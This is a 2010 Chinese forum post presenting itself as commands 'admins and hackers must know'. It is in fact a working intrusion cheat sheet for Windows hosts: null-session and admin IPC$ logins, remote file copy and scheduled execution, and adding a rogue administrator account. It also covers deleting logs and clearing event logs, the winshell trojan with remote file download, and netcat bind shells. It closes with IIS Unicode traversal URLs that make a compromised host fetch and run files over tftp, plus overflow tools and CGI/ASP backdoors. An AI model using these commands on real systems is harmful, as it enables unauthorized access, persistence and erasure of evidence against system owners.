梦洁 发表于 2010-9-7 12:13:15

网管和黑客都必须知道的命令

与远程主机建立空管连接 net use \IP地址ipc$ "" /use:""
  以管理员身份登录远程主机 net use \IP地址ipc$ "密码" /use:"Administrator"
  传送文件到远程主机WINNT目录下copy 本机目录路径程序 \IP地址admin$
  查看远程主机时间 net time \IP地址
  定时启动某个程序 at \IP地址 02:18 readme.exe
  查看共享 net view \IP地址
  查看netbios工作组列表 nBTstat -A IP地址
  将远程主机C盘映射为自己的F盘 net use f: \IP地址c$ ""/user:"Administrator"
  这两条把自己增加到管理员组: net user 用户名 密码 /add
  net locaLGroup Administrators 用户名 /add
  断开连接 net use \IP地址ipc$ /delete
  扫尾:
  del C:winntsystem32logfiles*.*
  del C:winntssytem32config*.evt
  del C:winntsystem32dTCLog*.*
  del C:winntsystem32*.log
  del C:winntsystem32*.txt
  del C:winnt*.txt
  del C:winnt*.log
一、netsvc.exe
  下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:
  netsvc /list \IP地址
  netsvc schedule \IP地址 /query
  netsvc \IP地址 schedule /start
二、OpenTelnet.exe
  远程启动主机的Telnet服务,并绑定端口到7878,例如:
  OpenTelnet \IP地址 用户名 密码 1 7878
  然后就可以telnet到主机的7878端口,进入DOS方式下:
  telnet IP地址 7878
三、winshell.exe
  一个非常小的木马(不到6K),telnet到主机的7878端口,输入密码winshell,当看到CMD>后,可打下面的命令:
  p Path (查看winshell主程序的路径信息)
  b reBoot (重新启动机器)
  d shutDown (关闭机器)
  s Shell (执行后你就会看到可爱的“C:>”)
  x eXit (退出本次登录会话,此命令并不终止winshell的运行)
  CMD> http://.../srv.exe (通过http下载其他网站上的文件到运行winshell的机器上)
四、3389登陆器,GUI方式登录远程主机的
五、elsave.exe
  事件日志清除工具
  elsave -s \IP地址 -l "application" -C
  elsave -s \IP地址 -l "system" -C
  elsave -s \IP地址 -l "security" -C
  执行后成功清除应用程序日志,系统日志,安全日志
六、hbulot.exe
  开启win2kserver和winxp的3389服务
  hbulot (/r)
七、nc.exe(netcat.exe)
  一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。
  想要连接到某处: nc (-options) hostname port(s)(ports) ...
  绑定端口等待连接: nc -l -p port (-options) (hostname) (port)
参数:
  -e prog 程序重定向,一旦连接,就执行 (危险!)
  -g gateway source-routing hop point(s), up to 8
  -G num source-routing pointer: 4, 8, 12, ...
  -h 帮助信息
  -i secs 延时的间隔
  -l 监听模式,用于入站连接
  -n 指定数字的IP地址,不能用hostname
  -o file 记录16进制的传输
  -p port 本地端口号
  -r 任意指定本地及远程端口
  -s addr 本地源地址
  -u UDP模式
  -v 详细输出——用两个-v可得到更详细的内容
  -w secs timeout的时间
  -z 将输入输出关掉——用于扫描时
八、TFTPD32.EXE
  把自己的电脑临时变为一台FTP服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用Unicode漏洞或telnet到肉鸡,例如:
  http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:winntsystem32文件名
  然后可以直接令文件运行:
  http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
九、prihack.exe是IIS的printer远程缓冲区溢出工具
  idqover.exe是溢出idq的,选择“溢出后在一个端口监听”,然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后winxp下需要打winxp。
一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor,exe要放到cgi-bin目录下,asp放到有ASP执行权限的目录。然后用IE浏览器连接.
页: [1]
查看完整版本: 网管和黑客都必须知道的命令

请大家牢记南瓜园网址 www.nan2008.com